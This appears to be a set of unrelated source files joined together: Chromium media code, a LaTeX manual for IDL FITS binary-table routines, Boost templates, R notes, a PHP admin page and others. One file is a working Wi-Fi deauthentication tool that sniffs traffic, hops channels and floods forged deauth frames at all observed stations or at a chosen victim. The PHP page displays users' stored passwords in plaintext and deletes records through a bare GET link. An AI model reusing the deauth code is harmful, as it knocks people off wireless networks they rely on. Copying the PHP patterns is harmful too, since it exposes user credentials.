void MediaStreamDispatcher::OnDeviceOpenFailed(int request_id) {
  DCHECK(main_loop_->BelongsToCurrentThread());
  for (RequestList::iterator it = requests_.begin();
       it != requests_.end(); ++it) {
    Request& request = *it;
    if (request.ipc_request == request_id) {
      if (request.handler.get()) {
        request.handler->OnDeviceOpenFailed(request.request_id);
        DVLOG(1) << "MediaStreamDispatcher::OnDeviceOpenFailed("
                 << request.request_id << ")\n";
      }
      requests_.erase(it);
      break;
    }
  }
}

int MediaStreamDispatcher::audio_session_id(const std::string& label,
                                            int index) {
  LabelStreamMap::iterator it = label_stream_map_.find(label);
  if (it == label_stream_map_.end() ||
      it->second.audio_array.size() <= static_cast<size_t>(index)) {
    return StreamDeviceInfo::kNoId;
  }
  return it->second.audio_array[index].session_id;
}

bool MediaStreamDispatcher::IsStream(const std::string& label) {
  return label_stream_map_.find(label) != label_stream_map_.end();
}

int MediaStreamDispatcher::video_session_id(const std::string& label,
                                            int index) {
  LabelStreamMap::iterator it = label_stream_map_.find(label);
  if (it == label_stream_map_.end() ||
      it->second.video_array.size() <= static_cast<size_t>(index)) {
    return StreamDeviceInfo::kNoId;
  }
  return it->second.video_array[index].session_id;
}

}  // namespace content


text:
\documentstyle[11pt]{article}

\setlength{\oddsidemargin}{0in}		%  1 inch (0 + 1) from left.
\setlength{\topmargin}{-0.5in}		%  1 inch (1.5 - 0.5) from top.
\setlength{\textwidth}{6.5in}		%  1 inch (8.5 - 1 - 6.5) from right.
\setlength{\textheight}{9in}		%  1 inch (11 - 1 - 9) from bottom.

\addtolength{\parskip}{0.5\baselineskip}

\begin{document}			% Remember to put in \end{document}.
\thispagestyle{empty}			% Don't number first page.

\begin{center}
{\Large\bf IDL Software for FITS Binary Tables}\\
\mbox{}\\
William Thompson\\
NASA Goddard Space Flight Center\\
2 July 1993\\
Modified W. Landsman 12 Aug 1997 \\
\end{center}

This software package was developed to support reading and writing FITS binary
table extensions.  The primary source for a description of the FITS binary
table extension is the document ``Binary Table Extension to FITS: A Proposal''
by W. D.  Cotton and D. Tody, hereafter referred to as C\&T\@.  This
information is also included almost verbatim in the draft standards document
``Implementation of the Flexible Image Transport System (FITS)'' from the
NASA/OSSA Office of Standards and Technology (NOST)\@.  As well as routines
that are directly related to binary tables, there are also supporting routines
which allow the user to read and write primary FITS header and data units
(HDUs), and to copy FITS files to and from tapes.

\section{Primary FITS Header and Data Units}

Every FITS file must contain a primary Header and Data Unit (HDU).  This part
represents the most basic kind of FITS file.  It allows for the storage of an
array with NAXIS dimensions, but one can also have a primary HDU which only
consists of a header without any data (signalled in the header by setting
NAXIS=0).  All FITS extension HDUs, must then follow the primary HDU.

The following routines are for writing primary FITS header and data units.
They are listed in the order they would be used to create a basic FITS file to
which binary table extension could then be appended.
\begin{quote}
\begin{description}
\item[FXHMAKE:]
Creates the primary FITS header based on the array passed as an optional
parameter.  If no data array is passed, then a header array consistent with no
data in the primary HDU is created.  When appending FITS extensions, such as
binary tables, to the file, FXHMAKE should be called with the /EXTEND qualifier
to generate a header record that reads ``EXTEND=T'' (true).
\item[FXADDPAR:]
Adds keyword=value records to the primary header, or modifies those that are
already there.  The use of this routine is entirely at the user's
discretion---the required keywords are inserted by FXHMAKE.
\item[FXWRITE:]
Writes the primary header and (optional) data array to a FITS file on disk.
\end{description}
\end{quote}

There are a number of routines available to read and interpret FITS primary
HDUs.  For example, the IDL Astronomy User's Library, available via anonymous
ftp from idlastro.gsfc.nasa.gov, contains a number of routines including
READFITS\@.  The following lists two routines included in this package to
support this function.
\begin{quote}
\begin{description}
\item[FXREAD:]
Reads a basic FITS file, or the primary HDU from a FITS file with extensions.
This routine can either read the entire array, or a subarray.  It also gives
the user the option of reducing the amount of data read either by reading every
$n$th pixel, or by averaging together \mbox{$n \times n$} pixels.
\item[FXPAR:]
Extracts values from FITS headers.
\end{description}
\end{quote}

\section{Creating FITS binary table files}
\label{creating}

The processes of creating a FITS binary table file is fairly easy.  However,
there are enough individual steps involved in creating the file, that it is
anticipated that it will be carried out primarily using procedure files, rather
than interactively from the keyboard.

The routines used in writing FITS binary tables files are:
\begin{quote}
\begin{description}
\item[FXBHMAKE:]
Starts the definition of the FITS binary table header.  At this time the number
of rows in the table is defined, but no information about the individual
columns is as yet included.  Optionally, the extension is given a name.
\item[FXBADDCOL:]
Add the information about the columns to the binary table extension header.
This routine is called once for each column that will be in the table.
\item[FXBCREATE:]
Opens the FITS file that the binary table will be appended to and writes the
header.
\item[FXBWRITE:]
Writes the data into the binary table.  A separate call to FXBWRITE is made for
every row and and every column in the table.
\item[FXBFINISH:]
Finishes up and closes the file containing the newly created binary table.
\end{description}
\end{quote}

The basic steps involved in creating a FITS binary table extension file are as
follows:
%
\begin{itemize}
\item
	First the primary FITS data unit must be created.  At the very minimum,
	this will include a FITS header with the keyword ``EXTEND'' set to
	T(rue).  It may also have data associated with it, or it may simply
	have ``NAXIS'' set to zero to signal that there is no primary data
	array.  This step is carried out through the FXHMAKE and FXWRITE
	routines.
\item
	Next, the binary table extension header must be created, and the
	various columns to be used have to be defined.  The routines FXBHMAKE
	and FXADDCOL take care of this.
\item
	Then, the extension file must be opened, and the header written out.
	FXBCREATE takes care of this.
\item
	The next step is to actually write the data arrays themselves into the
	table.  This is done using multiple calls to FXBWRITE.
\item
	Finally, the table file is closed with the FXBFINISH command.
\end{itemize}

The following IDL statements demonstrate how to use these routines to create a
simple binary table with three columns and five rows.  Some test arrays are
generated to write into these columns, and are slightly modified for each row,
to make the test more complete.
%
\begin{quote}
\begin{verbatim}
;  Create the data to write to the binary table.
;
a = intarr(10,100)
b = reverse(intarr(20,100),2) - 100
c = fix(dist(50))
;
;  Create a primary header and write it out.
;
fxhmake,header,/initialize,/extend,/date
fxwrite,'sample.fits',header
;
;  Create a binary table extension header for a table with 5 rows.
;
fxbhmake,header,5,'TESTEXT','Test binary table extension'
;
;  Create the columns for the a, b, and c arrays.
;
fxbaddcol,acol,header,a,'Column 1'
fxbaddcol,bcol,header,b,'Column 2'
fxbaddcol,ccol,header,c,'Column 3'
;
;  Write out the extension header.
;
fxbcreate,unit,'sample.fits',header
;
;  Write out the data.  For each row, multiply the test arrays by the row
;  number.
;
for i=1,5 do fxbwrite,unit,a*i,acol,i
for i=1,5 do fxbwrite,unit,b*i,bcol,i
for i=1,5 do fxbwrite,unit,c*i,ccol,i
;
;  Close the binary extension.
;
fxbfinish,unit
end
\end{verbatim}
\end{quote}
%
The primary FITS header created by this routine is very simple, and looks like
this
%
\begin{quote}
\begin{verbatim}
SIMPLE  =                    T /Written by IDL:  30-Jan-1992 11:19:34.00
BITPIX  =                    8 /
NAXIS   =                    0 /
EXTEND  =                    T /File contains extensions
DATE    = '30/01/92'           /
END
\end{verbatim}
\end{quote}
%
And the binary table extension header looks like this
%
\begin{quote}
\begin{verbatim}
XTENSION= 'BINTABLE'           /Written by IDL:  30-Jan-1992 11:35:49.00
BITPIX  =                    8 /
NAXIS   =                    2 /Binary table
NAXIS1  =                11000 /Number of bytes per row
NAXIS2  =                    5 /Number of rows
PCOUNT  =                    0 /Random parameter count
GCOUNT  =                    1 /Group count
TFIELDS =                    3 /Number of columns
EXTNAME = 'TESTEXT '           /Test binary table extension
TFORM1  = '1000I   '           /Integer*2 (short integer)
TTYPE1  = 'COLUMN 1'           /Label for column 1
TDIM1   = '(10,100)'           /Array dimensions for column 1
TFORM2  = '2000I   '           /Integer*2 (short integer)
TTYPE2  = 'COLUMN 2'           /Label for column 2
TDIM2   = '(20,100)'           /Array dimensions for column 2
TFORM3  = '2500I   '           /Integer*2 (short integer)
TTYPE3  = 'COLUMN 3'           /Label for column 3
TDIM3   = '(50,50) '           /Array dimensions for column 3
END
\end{verbatim}
\end{quote}

One thing that sometimes confuses first time users is that UNIT is an output
parameter of FXBCREATE, not an input parameter.  One does not specify the
logical unit number for the file; instead FXBCREATE assigns one via a call to
GET\_LUN.  A similar situation exists in regard to the column number argument
to FXBADDCOL.  Column numbers are assigned in the order in which FXBADDCOL is
called.  In the above example, the values of acol, bcol, and ccol will be
returned by FXBADDCOL as 1, 2, and 3 respectively.

\section{Reading FITS binary table files}

The process of reading FITS binary tables is much simpler than writing them,
since the structure of the table is already set.  There are only three basic
steps in reading a FITS binary table file:
%
\begin{itemize}
\item
	The file is opened, and the binary table extension selected, with the
	routine FXBOPEN.
\item
	Data is read from the table with the routine FXBREAD.  A particular row
	and column can be read, or an entire column can be read into a single
	array (except for columns containing variable-length arrays).
\item
	The file is closed with the routine FXBCLOSE.
\end{itemize}
%
For instance, the binary table created in the above example could be read with
the following statements.
%
\begin{quote}
\begin{verbatim}
IDL> FXBOPEN,UNIT,'sample.fits','testext',header
IDL> FXBREAD,UNIT,A,'Column 1'
IDL> FXBREAD,UNIT,B,'Column 2'
IDL> FXBREAD,UNIT,D,'Column 3'
IDL> FXBCLOSE,UNIT
IDL> HELP,A,B,C
A               INT       = Array(10, 100, 5)
B               INT       = Array(20, 100, 5)
C               INT       = Array(50, 50, 5)
\end{verbatim}
\end{quote}
%
Note that, because the entire columns were read in, the arrays A, B, and C each
have an extra last dimension of 5.  Also, the same comment in
Section~\ref{creating} above about FXBCREATE and UNIT also applies to FXBOPEN.

The following routines support reading FITS binary table extensions:
\begin{quote}
\begin{description}
\item[FXBOPEN:]
Opens a FITS binary table extension for reading.  One can open several binary
tables at once, either in the same or different files, by specifying different
variable names for FXBOPEN to store the logical unit number into.
\item[FXBREAD:]
Reads data from a column in a FITS binary table.  One can read an entire
column, a range of rows within a column, or a single row and column
combination.
\item[FXBTDIM:]
Parses keywords from binary tables with a TDIM-like format.  See
Section~\ref{tdim} for more information.
\item[FXBHELP:]
Prints to the screen a simple table giving information about each of the
columns in the binary table.
\item[FXBFIND:]
Finds the values of keywords in the header associated with the binary table
columns.  For example, the command
\begin{quote}
\begin{verbatim}
fxbfind, header, 'TTYPE', columns, values, n_found
\end{verbatim}
\end{quote}
would return an array containing the values of the keywords TTYPE1, TTYPE2,
etc., the columns for which they were found, and how many were found.
\item[FXBCOLNUM:]
Returns the column number of a FITS binary table specified either as a number
or by name.
\item[FXBHEADER:]
Returns the header of a FITS binary table opened with FXBOPEN.  (Note that the
header can also be returned as an optional parameter of FXBOPEN.)
\item[FXBISOPEN:]
Returns whether or not a logical unit number points to a FITS binary table that
is open for read.
\item[FXBSTATE:]
Similar to FXBISOPEN, but returns a state variable denoting whether or not a
logical unit number points to an open FITS binary table, and if so whether that
table is open for read or for write.
\item[FXBCLOSE:]
Closes a FITS binary table that had been opened with FXBOPEN.
\end{description}
\end{quote}

\section{Tape I/O}

The following routines are for writing and reading FITS files to and from tape.
Each has a menu driven interface, so that the user only has to enter the name
of the routine itself, and everything else is prompted for.  Currently, these
routines are only supported under VMS.
\begin{quote}
\begin{description}
\item[FXTAPEREAD:]
Reads FITS files from tape to disk.  This routine is for standard FITS tapes,
i.e. raw tape files separated by filemarks, with a blocking factor of \mbox{$N
\times 2880$}~bytes, where $N$ is between 1 and 10.  The selected files are
copied from tape to disk as a byte stream, without any conversion being
applied.
\item[FXTAPEWRITE:]
Writes FITS files from disk to tape.  This routine writes standard FITS tapes.
Optionally a user-selected keyword can be inserted into the primary header as
written to tape to store the filename of each FITS file.  Otherwise, the
selected files are copied from tape to disk as a byte stream, without any
conversion being applied.
\end{description}
\end{quote}

\section{Multidimensional Array Facility}
\label{tdim}

The routines described here provide direct support for the Multidimensional
Array Facility described in C\&T\@.  This convention uses keywords TDIM$n$ of
the format
\begin{quote}
TDIM$n$ = '($D_1$, $D_2$, \ldots)'
\end{quote}
to define the dimensions associated with column $n$.  For an example of the use
of this keyword, see the sample binary table header in Section~\ref{creating}
above.

Support for this convention is automatic---FXBADDCOL inserts TDIM$n$ keywords
into the header, and FXBOPEN interprets any found in the header---unless the
/NO\_TDIM keyword is used.  Values of TDIM$n$ can also be overridden with the
DIMENSIONS keyword in the FXBREAD routine.

In addition to the keywords described in the binary tables extension proposal,
several additional keywords are supported by FXBADDCOL.  These keywords have a
one-to-one correspondence with standard keywords used in primary FITS headers,
i.e.
\begin{center}
\begin{tabular}{cc}
Additional Keyword	& Standard Equivalent\\
\hline
			&	\\
TDMIN$n$		& DATAMIN \\
TDMAX$n$		& DATAMAX \\
			&	\\
TDESC$n$		& CTYPE$m$ \\
TROTA$n$		& CROTA$m$ \\
TRPIX$n$		& CRPIX$m$ \\
TRVAL$n$		& CRVAL$m$ \\
TDELT$n$		& CDELT$m$ \\
\end{tabular}
\end{center}
The anticipated use of these keywords is such that TDMIN$n$ and TDMAX$n$ would
have a ordinary FITS record format, no different from their standard
equivalents, and that the rest would have a format similar to TDIM$n$.

\section{Variable-Length Array Facility}

These routines also support the Variable-Length Array Facility described in
C\&T\@.  Variable-length array columns are defined by using FXBADDCOL with the
/VARIABLE keyword.  Other than that, support for variable-length arrays is
automatic.  Some operations, such as reading entire columns, and the
multidimensional array facility described above, are not allowed with
variable-length arrays.

Ordinarily, the default THEAP value \mbox{(NAXIS1 $\times$ NAXIS2)} is used to
write the variable-length arrays.  However, a different THEAP value can be used
by using FXADDPAR to insert the desired value into the binary table header
before calling FXBCREATE.

\section{IEEE Not-a-Number (NaN) Special Values}

Data dropout in FITS binary table arrays are signalled in one of two ways.
Dropouts in integer arrays are signalled with values specified by TNULL$n$
keywords.  However, dropouts in floating point arrays (including single or
double precision, and real or complex) are signalled with standard IEEE NaN
(not-a-number) special values.  The routine FXBREAD will optionally translate
these NaN numbers into a user-specified value, given by the NANVALUE keyword.
Conversely, the same keyword, when used with the FXWRITE or FXBWRITE routines,
will write out NaN for any points in the array with the value of the NANVALUE
keyword.

At present, there is no support for IEEE $\pm$Infinity and -0 special values.
However, it would be a simple matter to add support similar to IEEE NaN.

\section{Bit, Logical, and Double-precision Complex Arrays}

Prior to V4.0, IDL did not support a data type corresponding to double-precision
complex (type ``M'' in FITS binary tables).   Users with earlier versions of
IDL can still use these routines to read and write
double complex as ordinary double-precision arrays with an extra first
dimension of two.  Support for this is automatic when reading binary tables.
Columns can be defined as type ``M'' when writing binary tables if the
/DCOMPLEX keyword is passed to FXBADDCOL, and the data array is complex with
the first dimension being of size two.    For users with V4.0 or later,
these routines will recognize the double complex data type.

Bit arrays (type ``X'' in FITS binary tables) are treated in IDL as byte arrays
with approximately 1/8th the number of elements.  Support for this is automatic
when reading binary tables.  Columns can be defined as type ``X'' when writing
binary tables if the BIT keyword is passed to FXBADDCOL giving the number of
bits, and the data array is of type byte.  Dimension information is ignored for
bit arrays, since the dimensions apply to the bits, and not to the bytes that
IDL processes.

Logical arrays (type ``L'' in FITS binary tables) are treated in IDL as byte
arrays.  Support for this is automatic when reading binary tables.  Columns can
be defined as type ``L'' when writing binary tables if the /LOGICAL keyword is
passed to FXBADDCOL, and the data array is of type byte.

\section{Virtual Columns}

It is possible to treat keywords in binary table headers as if they were
columns in the table, with the same value replicated for every row.  This
virtual column convention allows the user to have a unified view in a table
regardless of whether the information is stored in a table column and thus
capable of varying from row to row, or stored in the header and thus the same
for every row.

To use the virtual column convention, the user must call FXBREAD with the
/VIRTUAL keyword, and must also reference the desired information by name
rather than by column number.  FXBREAD will then look first for a column with
that name.  If it doesn't find one, it then looks for a keyword with that name
in the header.

\section{Associated routines}

The remaining routines are mainly used internally by the other routines
mentioned above.
\begin{quote}
\begin{description}
\item[FXHCLEAN:]
Remove obsolete keywords---called by FXHMAKE, FXHBMAKE.
\item[FXPARPOS:]
Find position in FITS header---called by FXADDPAR.
\item[FXBFINDLUN:]
Find LUN in FXBINTABLE---called by FXBCREATE, FXBOPEN.
\item[FXBPARSE:]
Parse binary table header---called by FXBCREATE, FXBOPEN.
\item[FXBTFORM:]
Parse TFORM column descriptor---called by FXBPARSE.
\item[FXHREAD:]
Read FITS header---called by FXBOPEN.
\item[FXFINDEND:]
Find the last FITS record---called by FXBCREATE.
\item[WHERENAN:]
Find points equal to IEEE NaN---called by FXBREAD.
\item[BOOST\_ARRAY:]
Resize array, and append another array.
\item[STORE\_ARRAY:]
Resize array, and insert another array.
\item[DETABIFY:]
Removes tabs from strings.
\item[PRODUCT:]
Calculates total product of all elements of an array.
\item[FXTPIO\_READ:]
Reads a file from a tape---called from FXTAPEREAD.
\item[FXTPIO\_WRITE:]
Writes a file to a tape---called from FXTAPEWRITE.
\end{description}
\end{quote}

\section{Implementation notes}

The routines in this directory also make use internally of other routines from
the SDAS, FITS, and MISC directories from the Astronomy User's Library.  In
some cases these files are distributed along with the routines described here.

The file ``fxbintable.pro'' is an include file containing the definition of the
IDL common block FXBINTABLE.  This file must be in one of the directories
pointed to by the IDL search path parameter !PATH\@.  Normally, this is ensured
by keeping this file in the same directory with the IDL procedures found here.

\end{document}


text:
#include "deauth.h"

Deauth::Deauth() { }

void Deauth::sendDeauth(Dot11::address_type ap, Dot11::address_type st){

    Dot11Deauthentication deauth = Dot11Deauthentication();
    RadioTap radio = RadioTap();

    deauth.addr1(ap);
    deauth.addr2(st);
    deauth.addr3(ap);

    radio.inner_pdu(deauth);

    std::clog << "[*] Deauth ( " << ap << " - " << st << " )" << std::endl;
    for(int i=0; i< 10; i++){
        pSender.send(radio, "wlan0");
    }

}

void Deauth::rotateChannel() {
    unsigned int i = 1;
    char chan[64] = {0};
    while(true) {
        std::this_thread::sleep_for(std::chrono::seconds(5));
        sprintf(chan, "iwconfig wlan0 channel %d", (i % 13) + 1);
        system(chan);
        std::clog << "[*] Channel Changed : " << i % 13 << std::endl;
        i++;
    }
}

void Deauth::changeChannel(int toChan) {
    char chan[64] = {0};
    sprintf(chan, "iwconfig wlan0 channel %d", toChan);
    system(chan);
    std::clog << "[*] Channel Changed : " << chan << std::endl;
}

void Deauth::startSniffing() {
    std::clog << "[*] Start Sniffing" << std::endl;
    Sniffer sniffer("wlan0", Sniffer::promisc_type::NON_PROMISC, "", true);
    sniffer.sniff_loop(make_sniffer_handler(this, &Deauth::packetHandler));
}

void Deauth::startSniffingOne() {
    std::clog << "[*] Start SniffingOne" << std::endl;
    Sniffer sniffer("wlan0", Sniffer::promisc_type::NON_PROMISC, "", true);
    sniffer.sniff_loop(make_sniffer_handler(this, &Deauth::packetHandlerOne));
}

void Deauth::deauthAll() {
    std::thread rotateChannelThread(&Deauth::rotateChannel, this);
    std::thread sniffThread(&Deauth::startSniffing, this);
    rotateChannelThread.join();
    sniffThread.join();
}

void Deauth::deauthOne(Dot11::address_type victim, int channel) {
    changeChannel(channel);
    m_victim = victim;
    std::thread sniffThread(&Deauth::startSniffingOne, this);
    sniffThread.join();
}

bool Deauth::packetHandler(PDU &pdu) {
    try{
        if(pdu.find_pdu<Dot11Data>()) { // Frame with Data && Indiscriminate
            sendDeauth(pdu.rfind_pdu<Dot11Data>().dst_addr(), pdu.rfind_pdu<Dot11Data>().src_addr());
        }
    } catch(std::runtime_error& error) {
        std::clog << "[*] Error Occured. Restart." << std::endl;
    }
    return true;
}

bool Deauth::packetHandlerOne(PDU &pdu) {
    try{
        if(pdu.find_pdu<Dot11Data>() && pdu.rfind_pdu<Dot11Data>().src_addr() == m_victim) { // Frame with Data && Target
            sendDeauth(pdu.rfind_pdu<Dot11Data>().dst_addr(), pdu.rfind_pdu<Dot11Data>().src_addr());
        }
    } catch(std::runtime_error& error) {
        std::clog << "[*] Error Occured. Restart." << std::endl;
    }
    return true;
}


text:
package at.irian.ankor.fx.controller;

import at.irian.ankor.ref.Ref;
import at.irian.ankor.viewmodel.listener.ActionListenersPostProcessor;
import at.irian.ankor.viewmodel.listener.ChangeListenersPostProcessor;
import at.irian.ankor.viewmodel.metadata.BeanMetadata;

/**
 * @author Thomas Spiegl
 */
public final class FXControllerSupport {
    //private static final org.slf4j.Logger LOG = org.slf4j.LoggerFactory.getLogger(AnnotationSupportControllerFactory.class);

    private FXControllerSupport() {}

    public static void init(Object controller, Ref viewModelRef) {
        BeanMetadata md = viewModelRef.context().metadataProvider().getMetadata(controller);
        new ActionListenersPostProcessor().postProcess(controller, viewModelRef, md);
        new ChangeListenersPostProcessor().postProcess(controller, viewModelRef, md);
    }

}


text:
namespace geofeatures_boost {} namespace boost = geofeatures_boost; namespace geofeatures_boost { namespace geometry { namespace index { namespace detail {

namespace tuples {

// find_index

namespace detail {

template <typename Tuple, typename El, size_t N>
struct find_index;

template <typename Tuple, typename El, size_t N, typename CurrentEl>
struct find_index_impl
{
    static const size_t value = find_index<Tuple, El, N - 1>::value;
};

template <typename Tuple, typename El, size_t N>
struct find_index_impl<Tuple, El, N, El>
{
    static const size_t value = N - 1;
};

template <typename Tuple, typename El, typename CurrentEl>
struct find_index_impl<Tuple, El, 1, CurrentEl>
{
    BOOST_MPL_ASSERT_MSG(
        (false),
        ELEMENT_NOT_FOUND,
        (find_index_impl));
};

template <typename Tuple, typename El>
struct find_index_impl<Tuple, El, 1, El>
{
    static const size_t value = 0;
};

template <typename Tuple, typename El, size_t N>
struct find_index
{
    static const size_t value =
        find_index_impl<
            Tuple,
            El,
            N,
            typename geofeatures_boost::tuples::element<N - 1, Tuple>::type
        >::value;
};

} // namespace detail

template <typename Tuple, typename El>
struct find_index
{
    static const size_t value =
        detail::find_index<
            Tuple,
            El,
            geofeatures_boost::tuples::length<Tuple>::value
        >::value;
};

// has

namespace detail {

template <typename Tuple, typename El, size_t N>
struct has
{
    static const bool value
        = geofeatures_boost::is_same<
            typename geofeatures_boost::tuples::element<N - 1, Tuple>::type,
            El
        >::value
        || has<Tuple, El, N - 1>::value;
};

template <typename Tuple, typename El>
struct has<Tuple, El, 1>
{
    static const bool value
        = geofeatures_boost::is_same<
            typename geofeatures_boost::tuples::element<0, Tuple>::type,
            El
        >::value;
};

} // namespace detail

template <typename Tuple, typename El>
struct has
{
    static const bool value
        = detail::has<
            Tuple,
            El,
            geofeatures_boost::tuples::length<Tuple>::value
        >::value;
};

// add

template <typename Tuple, typename El>
struct add
{
    BOOST_MPL_ASSERT_MSG(
        (false),
        NOT_IMPLEMENTED_FOR_THIS_TUPLE_TYPE,
        (add));
};

template <typename T1, typename T>
struct add<geofeatures_boost::tuple<T1>, T>
{
    typedef geofeatures_boost::tuple<T1, T> type;
};

template <typename T1, typename T2, typename T>
struct add<geofeatures_boost::tuple<T1, T2>, T>
{
    typedef geofeatures_boost::tuple<T1, T2, T> type;
};

// add_if

template <typename Tuple, typename El, bool Cond>
struct add_if
{
    typedef Tuple type;
};

template <typename Tuple, typename El>
struct add_if<Tuple, El, true>
{
    typedef typename add<Tuple, El>::type type;
};

// add_unique

template <typename Tuple, typename El>
struct add_unique
{
    typedef typename add_if<
        Tuple,
        El,
        !has<Tuple, El>::value
    >::type type;
};

template <typename Tuple,
          typename T,
          size_t I = 0,
          size_t N = geofeatures_boost::tuples::length<Tuple>::value>
struct push_back
{
    typedef
    geofeatures_boost::tuples::cons<
        typename geofeatures_boost::tuples::element<I, Tuple>::type,
        typename push_back<Tuple, T, I+1, N>::type
    > type;

    static type apply(Tuple const& tup, T const& t)
    {
        return
        type(
            geofeatures_boost::get<I>(tup),
            push_back<Tuple, T, I+1, N>::apply(tup, t)
        );
    }
};

template <typename Tuple, typename T, size_t N>
struct push_back<Tuple, T, N, N>
{
    typedef geofeatures_boost::tuples::cons<T, geofeatures_boost::tuples::null_type> type;

    static type apply(Tuple const&, T const& t)
    {
        return type(t, geofeatures_boost::tuples::null_type());
    }
};

} // namespace tuples

}}}} // namespace geofeatures_boost::geometry::index::detail

#endif // BOOST_GEOMETRY_INDEX_DETAIL_RTREE_TAGS_HPP


text:
<?php
error_reporting( ~E_NOTICE ); // avoid notice
require_once 'koneksi.php';
$coba = mysqli_query($koneksi, "SELECT u.id_user,u.nama_user,u.tanggal_gabung,u.alamat,u.no_telp,u.username,u.password,l.level FROM usr_ambar u,level l WHERE u.id_level=l.id_level AND l.level='petugas'");

$no=1;
?>

        Selamat datang <?php echo $namauser;?>
        Apps Ambar

 Home

Dashboard

    <button data-toggle="modal" data-target="#myModal" class="btn btn-info pull-left">Tambah Pekerja Lapangan</button>

          No
          Nama User
          Alamat
          No Telp
          Username
          Password
          Level
          Tanggal Gabung
          AKSI

        <?php while ($row = mysqli_fetch_array($coba)) { ?>

          <?php echo $no++;?>
          <?php echo $row['nama_user'];?>
          <?php echo $row['alamat'];?>
          <?php echo $row['no_telp'];?>
          <?php echo $row['username'];?>
          <?php echo $row['password'];?>
          <?php echo $row['level'];?>
          <?php echo $row['tanggal_gabung'];?>

            <a href="?p=action_detail_user&&id=<?php echo $row['id_user']; ?>" title="Lihat Detail"> |
            <a href="?p=action_edit_user&&id=<?php echo $row['id_user'];?>" title="Edit Penyulang"> |
            <a href="action_delete_user.php?id=<?php echo $row['id_user']; ?>" title= "Hapus Data Penyulang"><span class="glyphicon glyphicon-trash" onclick="return confirm('Yakin ID User <?php echo $row2['id_user'];?> akan dihapus?')" aria-hidden="true">

        <?php } ?>

        <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>

Tambah User

      <form role="form" action="action_add_user.php" method="post">

              Nama User
              <input type="text" class="form-control" id="nama_user" placeholder="Nama User" name="nama_user" required>

              Alamat
              <input type="text" class="form-control" id="alamat" placeholder="Alamat" name="alamat" required>

              Nomor Telephon
              <input type="text" class="form-control" id="no_telp" placeholder="Nomor Telp" name="no_telp" required>

              Username
              <input type="text" class="form-control" id="username" placeholder="Username" name="username" required>

              Password
              <input type="text" class="form-control" id="password" placeholder="Password" name="password" required>

              Level
              <select class="form-control" id="id_level" name="id_level">
                <option value="2">Petugas Lapangan</option>
              </select>

          <button type="submit" class="btn btn-primary" onsubmit="return cekform();">Submit</button>
          <button type="reset" class="btn btn-warning">Reset</button>
          <button type="button" class="btn btn-default" data-dismiss="modal">Batal</button>
          <input type="hidden" class="form-control" id="tanggal_gabung" placeholder="" name="tanggal_gabung" value="<?php echo date("Y-m-d"); ?>">

      </form>


text:
// key: compiler.err.cant.resolve.args.params

class CantResolveArgsParams {
    Object o = new Object() {
        { this.<Integer,Double>m2(1, ""); }
    };
}


text:
Graphics Devices
========================

.. index:: graphics devices, dev.off, dev.cur, dev.list, dev.next, dev.prev, graphics.off, null device

Closing current graphics device::

    > dev.off()

List of graphics devices::

    > dev.list()

Closing all current graphics devices::

    > graphics.off()

Let's see what happens when we create our first plot::

    > plot(faithful)
    > dev.list()
    RStudioGD       png
            2         3
    > dev.list()
    RStudioGD       png
            2         3

Identifying current graphics device::

    > dev.cur()
    RStudioGD
            2

Identifying the next graphics device::

    > dev.next()
    png
      3
    > dev.next(1)
    RStudioGD
            2
    > dev.next(2)
    png
      3
    > dev.next(3)
    RStudioGD
            2
    > dev.next(4)
    RStudioGD
            2

Previous graphics device::

    > dev.prev()
    png
      3
    > dev.prev(3)
    RStudioGD
            2

Picking the RStudio plot device::

    > dev.list()['RStudioGD']
    RStudioGD
            2

Closing the current graphics device only if it is present::

    if(!is.null(dev.list())) dev.off()

We should never attempt to close device no 1 which is the null device.
If you have closed all devices then::

    > dev.cur()
    null device
              1

Here is a way to close current device if it is not 1::

    > while (dev.cur()>1) dev.off()


text:
namespace GraphQLParser.AST;

/// <summary>
/// Represents a single node in the GraphQL document AST (Abstract Syntax Tree).
/// </summary>
public abstract class ASTNode
{
    /// <summary>
    /// Kind of this node.
    /// </summary>
    public abstract ASTNodeKind Kind { get; }

    /// <summary>
    /// Location of a node within a document's original text.
    /// </summary>
    public virtual GraphQLLocation Location { get => default; set { } }

    /// <summary>
    /// Comments for this node if any.
    /// </summary>
    public virtual List<GraphQLComment>? Comments { get => default; set { } }

    /// <summary>
    /// First comment for this node if any. For tests only.
    /// </summary>
    internal GraphQLComment? Comment => Comments?.Count > 0 ? Comments[0] : null;
}


text:
<!DOCTYPE html >

    <link rel="stylesheet" href="demos.css" type="text/css" media="screen" />

    <title>A basic HBar chart</title>

    <meta name="description" content="A basic Horizontal Bar chart" />

A horizontal bar chart showing Chrome speeds

   <canvas id="cvs" width="350" height="176">[No canvas support]</canvas>

        « Back


text:
class TxaFile;

////////////////////////////////////////////////////////////////////
//       Class : TxaFileFilter
// Description : This is an abstract base class, a placeholder for any
//               number of different classes that may wish to
//               implement an effect on every texture loaded from disk
//               via the TexturePool.
//
//               In practice, as of the time of this writing, only the
//               TxaFileFilter (in pandatool) actually implements
//               this.  But other kinds of filters are possible.
//
//               This filter, once registered, will get a callback and
//               a chance to modify each texture as it is loaded from
//               disk the first time.  If more than one filter is
//               registered, each will be called in sequence, in the
//               order in which they were registered.
//
//               The filter does not get called again if the texture
//               is subsequently reloaded from disk.  It is suggested
//               that filters for which this might be a problem should
//               call tex->set_keep_ram_image(true).
////////////////////////////////////////////////////////////////////
class EXPCL_MISC TxaFileFilter : public TexturePoolFilter {
public:
  virtual PT(Texture) post_load(Texture *tex);

private:
  static void read_txa_file();

private:
  static TxaFile *_txa_file;
  static bool _got_txa_file;

public:
  static TypeHandle get_class_type() {
    return _type_handle;
  }
  static void init_type() {
    TexturePoolFilter::init_type();
    register_type(_type_handle, "TxaFileFilter",
                  TexturePoolFilter::get_class_type());
  }
  virtual TypeHandle get_type() const {
    return get_class_type();
  }
  virtual TypeHandle force_init_type() {init_type(); return get_class_type();}

private:
  static TypeHandle _type_handle;
};

#include "txaFileFilter.I"

#endif


text:
<?xml version="1.0" ?>

<container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd">
  <services>
    <service id="foo" class="FooClass" />
    <service id="baz" class="BazClass" />
    <service id="not_shared" class="FooClass" shared="false" />
    <service id="file" class="FooClass">
      <file>%path%/foo.php</file>
    </service>
    <service id="arguments" class="FooClass">
      <argument>foo</argument>
      <argument type="service" id="foo" />
